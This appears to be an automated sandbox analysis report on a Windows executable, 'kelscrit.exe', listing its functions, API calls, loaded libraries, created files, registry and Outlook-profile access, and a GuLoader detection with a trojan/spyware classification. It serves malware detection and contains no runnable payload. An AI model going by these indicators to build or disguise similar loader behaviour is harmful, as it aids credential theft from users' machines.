Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACD460	4_2_3AACD460
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACE77F	4_2_3AACE77F
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC4478	4_2_3AAC4478
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC2478	4_2_3AAC2478
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACBC78	4_2_3AACBC78
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACD470	4_2_3AACD470
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC1270	4_2_3AAC1270
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC9171	4_2_3AAC9171
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC5B48	4_2_3AAC5B48
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC9648	4_2_3AAC9648
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC3B4A	4_2_3AAC3B4A
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACEC4B	4_2_3AACEC4B
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC0040	4_2_3AAC0040
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC6B40	4_2_3AAC6B40
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACC142	4_2_3AACC142
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC3B58	4_2_3AAC3B58
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACEC58	4_2_3AACEC58
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACA958	4_2_3AACA958
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AACC150	4_2_3AACC150
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC0950	4_2_3AAC0950
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAC7E50	4_2_3AAC7E50
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF70C0	4_2_3AAF70C0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAFEE48	4_2_3AAFEE48
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAFD710	4_2_3AAFD710
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF54A0	4_2_3AAF54A0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF22A0	4_2_3AAF22A0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF3880	4_2_3AAF3880
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF0680	4_2_3AAF0680
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF6A80	4_2_3AAF6A80
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF12EF	4_2_3AAF12EF
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF5AE0	4_2_3AAF5AE0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF28E0	4_2_3AAF28E0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF3EC0	4_2_3AAF3EC0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF0CC0	4_2_3AAF0CC0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF4820	4_2_3AAF4820
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF1620	4_2_3AAF1620
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF5E00	4_2_3AAF5E00
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF2C00	4_2_3AAF2C00
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF4E60	4_2_3AAF4E60
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF1C60	4_2_3AAF1C60
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF6A70	4_2_3AAF6A70
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF6440	4_2_3AAF6440
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF3240	4_2_3AAF3240
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF0040	4_2_3AAF0040
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF6DA0	4_2_3AAF6DA0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF3BA0	4_2_3AAF3BA0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF09A0	4_2_3AAF09A0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF5180	4_2_3AAF5180
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF1F80	4_2_3AAF1F80
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF41E0	4_2_3AAF41E0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF0FE0	4_2_3AAF0FE0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF57C0	4_2_3AAF57C0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF25C0	4_2_3AAF25C0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF0FD0	4_2_3AAF0FD0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF6120	4_2_3AAF6120
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF2F20	4_2_3AAF2F20
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF4500	4_2_3AAF4500
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF1300	4_2_3AAF1300
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF6760	4_2_3AAF6760
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF3560	4_2_3AAF3560
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF0360	4_2_3AAF0360
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF4B40	4_2_3AAF4B40
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF1940	4_2_3AAF1940
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AAF6750	4_2_3AAF6750
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB01CF0	4_2_3AB01CF0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB08470	4_2_3AB08470
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0FB30	4_2_3AB0FB30
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0BCB0	4_2_3AB0BCB0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB08AB0	4_2_3AB08AB0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0EEB0	4_2_3AB0EEB0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0A090	4_2_3AB0A090
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0D290	4_2_3AB0D290
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB00E98	4_2_3AB00E98
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB00E8B	4_2_3AB00E8B
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0F4F0	4_2_3AB0F4F0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB090F0	4_2_3AB090F0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0C2F0	4_2_3AB0C2F0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB004FB	4_2_3AB004FB
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB01CE0	4_2_3AB01CE0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0D8D0	4_2_3AB0D8D0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0A6D0	4_2_3AB0A6D0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0B030	4_2_3AB0B030
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0E230	4_2_3AB0E230
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB01828	4_2_3AB01828
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0C610	4_2_3AB0C610
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB09410	4_2_3AB09410
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0F810	4_2_3AB0F810
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB01817	4_2_3AB01817
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB00006	4_2_3AB00006
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0E870	4_2_3AB0E870
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0B670	4_2_3AB0B670
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB09A50	4_2_3AB09A50
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0CC50	4_2_3AB0CC50
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB00040	4_2_3AB00040
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0D5B0	4_2_3AB0D5B0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0A3B0	4_2_3AB0A3B0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB009BF	4_2_3AB009BF
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0B990	4_2_3AB0B990
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB08790	4_2_3AB08790
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0EB90	4_2_3AB0EB90
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0DBF0	4_2_3AB0DBF0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0A9F0	4_2_3AB0A9F0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0F1D0	4_2_3AB0F1D0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB009D0	4_2_3AB009D0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB08DD0	4_2_3AB08DD0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0BFD0	4_2_3AB0BFD0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0C930	4_2_3AB0C930
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB09730	4_2_3AB09730
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0AD10	4_2_3AB0AD10
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0DF10	4_2_3AB0DF10
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB00508	4_2_3AB00508
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB09D70	4_2_3AB09D70
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0CF70	4_2_3AB0CF70
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB01360	4_2_3AB01360
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0E550	4_2_3AB0E550
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB0B350	4_2_3AB0B350
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB01351	4_2_3AB01351
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB43FB2	4_2_3AB43FB2
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB42238	4_2_3AB42238
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB42920	4_2_3AB42920
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB43008	4_2_3AB43008
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB40D88	4_2_3AB40D88
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB41470	4_2_3AB41470
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB436F0	4_2_3AB436F0
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB45878	4_2_3AB45878
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB41B50	4_2_3AB41B50
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB41B3F	4_2_3AB41B3F
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB42229	4_2_3AB42229
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB40A10	4_2_3AB40A10
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB42911	4_2_3AB42911
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB40006	4_2_3AB40006
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB40A02	4_2_3AB40A02
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB40D7A	4_2_3AB40D7A
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB42FFA	4_2_3AB42FFA
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB458E4	4_2_3AB458E4
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB41460	4_2_3AB41460
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB436E1	4_2_3AB436E1
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_3AB40040	4_2_3AB40040

Source: C:\Users\user\Desktop\kelscrit.exe

Code function: String function: 00402DCB appears 51 times

Source: kelscrit.exe

Static PE information: invalid certificate

Source: kelscrit.exe, 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs kelscrit.exe
Source: kelscrit.exe, 00000004.00000000.2238815608.0000000000468000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs kelscrit.exe
Source: kelscrit.exe	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs kelscrit.exe

Source: kelscrit.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/5@5/5

Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403552
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_00403552

Source: C:\Users\user\Desktop\kelscrit.exe

Code function: 0_2_004049E7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049E7

Source: C:\Users\user\Desktop\kelscrit.exe

Code function: 0_2_004021CF CoCreateInstance,

0_2_004021CF

Source: C:\Users\user\Desktop\kelscrit.exe

File created: C:\Users\user\AppData\Local\skattekode

Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\kelscrit.exe

File created: C:\Users\user\AppData\Local\Temp\nss43F6.tmp

Jump to behavior

Source: kelscrit.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\kelscrit.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

File read: C:\Users\user\Desktop\kelscrit.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\kelscrit.exe "C:\Users\user\Desktop\kelscrit.exe"
Source: C:\Users\user\Desktop\kelscrit.exe	Process created: C:\Users\user\Desktop\kelscrit.exe "C:\Users\user\Desktop\kelscrit.exe"
Source: C:\Users\user\Desktop\kelscrit.exe	Process created: C:\Users\user\Desktop\kelscrit.exe "C:\Users\user\Desktop\kelscrit.exe"	Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\kelscrit.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: kelscrit.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000004.00000002.2918207861.000000000362A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2241067625.00000000062AA000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\kelscrit.exe

Code function: 0_2_6F951BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6F951BFF

Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_6F9530C0 push eax; ret	0_2_6F9530EE
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438657C push FFFFFFA8h; iretd	0_2_0438657E
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_04382948 push 7DFAEC6Eh; retf	0_2_0438294E
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438264E push edx; retf	0_2_0438264F
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_043852A7 push eax; ret	0_2_043852F9
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 0_2_0438532C push eax; ret	0_2_043852F9
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_00159C30 push esp; retf 0018h	4_2_00159D55
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_0170657C push FFFFFFA8h; iretd	4_2_0170657E
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_01702948 push 7DFAEC6Eh; retf	4_2_0170294E
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_0170532C push eax; ret	4_2_017052F9
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_0170264E push edx; retf	4_2_0170264F
Source: C:\Users\user\Desktop\kelscrit.exe	Code function: 4_2_017052A7 push eax; ret	4_2_017052F9

Source: C:\Users\user\Desktop\kelscrit.exe

File created: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kelscrit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
